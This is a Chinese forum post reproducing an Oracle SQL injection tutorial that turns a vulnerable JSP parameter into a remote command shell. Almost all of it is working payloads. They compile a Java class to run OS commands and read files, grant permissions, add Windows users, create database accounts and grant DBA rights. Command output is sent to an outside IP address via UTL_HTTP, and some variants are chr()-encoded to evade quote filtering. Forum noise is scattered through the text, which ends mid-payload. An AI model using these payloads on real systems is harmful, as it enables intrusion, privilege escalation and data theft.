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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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1 w2 \5 t% @( o) ~/ s) w& I以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)" s; _  [) h  {  I" C. u5 Q
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语句有点长,可能要用post提交。7 l; w7 T. W7 p/ A! R

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; O* F2 l0 S+ g# P. Y以下是各个步骤:
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1.创建包0 u/ n: ^3 J# _" [7 z& }" Y" ?
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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2 f! Z' r5 |5 v" i' F6 {! p' N/ wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& [+ o# V3 s, Q8 N, F( ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(# Y: l9 ?" D. D6 k2 f
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ [+ A+ M5 R0 J3 f& m4 y}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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1 u5 w6 m$ G5 @: t; q; w# \  t4 |) h------------------------. u0 D  y  ]) D
如果url有长度限制,可以把readFile()函数块去掉,即:4 @6 x) d  y! o0 [
/xxx.jsp?id=1 and '1'<>'a'||(% }; a% t' d. T4 w& X

8 z, T9 A3 y7 Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( R: C8 T% X  X3 ?create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(/ j+ |3 l; b# c- K9 r% [# H
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}# \5 l' o% v: a: u
}'''';END;'';END;--','SYS',0,'1',0) from dual
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( ^9 G# b" v/ `' c$ d1 t  j同时把后面步骤 提到的 对readFile()的处理语句去掉。, ?3 u" k: L" G1 n1 h
------------------------------
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4 `" T4 j) ^4 k; e2.赋Java权限2 F/ x0 F* `; O2 B5 k  ^) o

4 Y! v) M6 M  V: U0 Y+ eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual! N6 k! R% z8 \1 Z% {
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3.创建函数! [6 V' L5 [6 k! j9 M

- A) [, t, j7 S8 v( @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 h7 J) K/ R' S& Q. ]& l" k! m
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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) a9 o" s4 f$ y. ~- }8 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; {9 s& Z6 f+ r8 }; I" a3 `
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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! R+ t! R( e5 p  W9 H( c; U4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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( K' ^7 |% {2 p* v4 Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ s5 B) r0 K$ y3 d0 _3 W
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) `; E2 B0 ~6 r5.测试上面的几步是否成功2 Z% }6 a" [6 k
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and '1'<>'11'||(3 H9 X8 F& ^0 R+ Z
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD', ^* R$ {0 A7 Y) L$ o3 T( O  `9 Q+ G
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:3 Z/ g. F2 h6 K0 k8 e) }' _& I) G: W8 {1 Z: Q

- O6 Q4 j( K; C/ e; @. q/xxx.jsp?id=1 and '1'<>(+ S, `1 m7 M8 B: Z2 p, T1 g/ U/ C
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(
7 f+ r1 D" b# ^+ ~/ I& Hselect sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
% K5 M; A  a" c6 K! e如果要查看运行结果可以用 union :" V  G2 P6 M. ~1 `

0 M9 j* y* p- s% {/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual- H3 k4 h% h' Q6 p8 U$ d1 b

4 O$ ?2 X/ j4 Y2 Q$ G或者UTL_HTTP.request(:: r+ i0 ?9 s. b6 |! E
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/xxx.jsp?id=1 and '1'<>(% O5 {! z* h8 @$ i* x' Y) ?
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual% R/ v  t8 D. D2 F" q/ B/ W% @
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7 r/ p# ^0 q. ~% p! {1 W/xxx.jsp?id=1 and '1'<>(9 D7 C3 x0 R% U  f
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual) m) I% l' r* o3 P
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。( {3 f  L% A  O: O4 G. I! e' @2 M
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2 c) i/ K: W" i7 {8 M# _8 f. i--------------------
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6.内部变化# ]1 T, T. C( g  n
通过以下命令可以查看all_objects表达改变:
$ m; E4 \, I3 Q1 jselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'9 X2 f$ f- ~& k8 D. k3 N5 Y

& w& }% H# `: }4 ~7 X7.删除我们创建的函数  {/ L: i. d( W0 N9 c; I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, m: |, `7 [9 R. }drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
& \3 l6 i# b# e; y0 z5 D9 T" m全文结束。谨以此文赠与我的朋友。
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7 f; G& g) ^/ h  c& i% b, zlinx- o* P& }9 S; s0 G& s8 K
124829445: l+ C6 q! E' S+ ]& H1 p$ o
2008.1.121 s" p4 a, \$ p$ V
[email protected]2 `% ^$ Q, Q) u7 r
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======================================================================
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2 q: f& f0 z9 @: n3 ~% I: o4 S测试漏洞的另一方法:3 f* b( h* d, j' ~. E. _
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创建oracle帐号:
% g+ e; Y: b8 c0 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" G: v/ r! W9 Z
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual7 ?- ~( }. g( k  I0 j
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即:; f$ T- V- _/ C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& S+ k. T) W1 O! ?4 b$ ]  ]
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:2 |: \: h- F7 D! H0 @
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select user_id from all_users where username='LINXSQL'" ~, G: ~- z1 H2 t) p9 C
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! e! s, H* M, u9 s+ b( U' T$ K2 \给linxsql连接权限:
$ y8 A: A- S5 i" Q3 w/ b0 D0 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 A! L6 C3 @; ~1 o9 N7 O! jGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:+ A$ |9 F6 u; c# f& G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( X. j8 A6 M+ m+ a+ X1 v$ {7 y3 N
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
1 z; h2 F: o, H4 }% Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; h2 ]4 u2 @3 r$ e2 h
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual8 j) E+ I" k( J* m; x( i' P* d
) and ...
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1.jsp?id=1 and '1'<>(. e* `. }4 q. E1 D- k, {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
$ A  p+ _! g  Z; aSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL: t+ G  T; K+ S
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2 Z8 c8 d+ A" n  ~8 p! _1.jsp?id=1 and '1'<>(
: }! i5 ?+ r2 g/ L: M) h; [5 [SELECT sys.Linx_Query('declare pragma
5 e  A: _5 }/ G3 G! yautonomous_transaction; begin execute immediate '', k* f. ^- V4 C* P5 T+ h6 A- P( A
select 1 from dual+ m: c7 ~& k* I; r1 I3 u: w
''; commit; end;') from dual  m5 b+ R! I2 z
) and ...
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多语句:
. W1 n0 L, N+ r- Y. A! hSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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) \# e- l) R- G$ D% z, }( s/ ^创建用户(除非当前用户有system权限,否则无法成功):) B- ^, b" c# t5 I) x# g
SELECT sys.Linx_Query('declare pragma1 d* y) I2 H, V! r
autonomous_transaction; begin execute immediate ''
9 @7 h4 x7 k9 @1 g1 o- {) mCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User+ G, Z& ?, S$ K
''; commit; end;') from dual
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================2 R& N  J1 |% R: t
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()8 a/ B8 a; {) a, V, k
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1.创建函数
; X% C& [: e. {. g' Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; c6 N/ s! l. z0 y. hcreate or replace function Linx_Query (p9 ]: i. O) g/ A7 \- r' k0 A! u
varchar2) return number authid current_user is begin execute immediate. F) ~+ v9 t, a" ?
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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( @) e4 `, U& U& @& \% w如果有权限,以下语句应该允许正常
2 J( ^0 b  ^  c8 c' Rselect sys.linx_query('select 1 from dual') from dual;0 ~" j( K3 |8 D+ |) o# U; c
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不然的话运行:
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8 a6 h; D8 d% w2 o) Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. h9 n7 ~& T! [- v
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual  x  j9 D; n% P- \

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2.创建包
( ~! K, r/ \1 Y7 g6 _8 KSELECT sys.Linx_Query('declare pragma
0 @6 D- k$ w. ^. Pautonomous_transaction; begin execute immediate ''
' ^# x; j8 A' M/ q" a; ^, K( R8 ecreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
: N/ C: j: e" O' a$ m* D+ Nnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual* e. g' T( s  J0 {& K

" |) b8 b6 s! N/ }6 z7 A3.创建函数
7 v  }+ A* i/ _- Z2 KSELECT sys.Linx_Query('declare pragma
$ q* v( U& G+ U% D3 u" Zautonomous_transaction; begin execute immediate ''# |9 b# [3 B. H* _) m, I0 s/ \
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual. D0 y# }( y) A' q' G9 T( p

# Q. x/ |# d/ x+ V4 @! ~+ p* ?4.给权限3 l, c+ D7 O) x' b* J* g
给用户SYSTEM执行权限:
0 Q) j$ P5 y( y% f1 R' g3 N- L& {! g% _1 u; R
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
4 \; k) j: n* M4 ?7 N4 d' d: H) v  f) D5 d  T/ K# A

9 @0 Y6 w: x8 X/ s5 F2 w# u* @" x% \9 ~! X4 [
5.执行函数
! q: ]' M7 _/ [. ~# [/ U, Zselect RunCMD2('cmd /c dir') from dual
8 y5 U/ X1 Z9 ~. L  o4 b3 |7 G
" C* E0 H6 ?  ^: V0 L& G( {, t
. V+ r% ], _1 G* g1 H; b0 e0 o! B2 c, S( M
6 F- V: q/ f# C# O7 |- Q
7 U- w4 F" u6 _! O( Z$ a
==================
6 {) D, |9 g9 q* n================================
. {/ L: O' e8 B1 f# B$ ~4 \
) e7 T! ^/ S! _5 T" M' s- f+ U以下是无 " ' " 版:1 t; i' X' K; `) G' [
( X* }. a. f3 j4 c
以下是各个步骤:
( I2 _+ a% M/ x8 {8 s" E/ \5 c) }0 M  O, D4 r1 V1 y
1.创建包9 b8 o8 p8 `3 v  i
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:4 z1 E8 H  O  d9 E6 k
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:  n( k3 {* |& _

) [: c( G5 q) |6 }4 j/xxx.jsp?id=1 and chr(49)<>chr(50)||(3 y8 {+ C9 ]7 N' Q; C$ \

8 D/ t9 g" v1 M) j1 ~: L# }' Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! ]+ v: ?% T! g- Dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
  v  f+ _$ \" D# d# ]chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
7 g& @0 |" _+ D% K) ]chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||7 D# K( ]- }/ D2 P
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||: G) G, p' D: {( D
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||8 F* J1 E6 n8 b+ i" i2 P
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
, I! l/ h9 m/ Q2 k  i  jchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||4 H3 l) W4 j# s5 a# G4 k
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||* E8 @; p; R2 x& \  S+ W/ ?
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
8 [+ C% c% I! r, |  V! Lchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||; \% \& [) W! d, c  ?
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
; `6 s: _# z4 z# ]# e# O9 hchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
* `6 l+ D, z" b5 S; Zchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||( K0 ~) `, `5 J9 I! \% D# ~
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
$ }% a+ E" {  zchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||3 w$ f  f' q& r+ |
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||1 n% ?. z4 w' q
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
2 g% a. r% I# X9 e" C0 u" S. A2 l0 Wchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
* c1 m3 g4 Q2 |* t( Dchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||; u% J' D0 r+ _+ [* @4 g. n/ w- ?
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||7 ?8 n# O7 d4 `! J
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
. e% S7 c8 ]' }9 u) rchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||0 _) H  G* H1 ^8 m" i/ ~, v2 [
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
: O6 Q& E, h% s) e/ x* _) Mchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
2 h$ ^' m5 j! \; Pchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
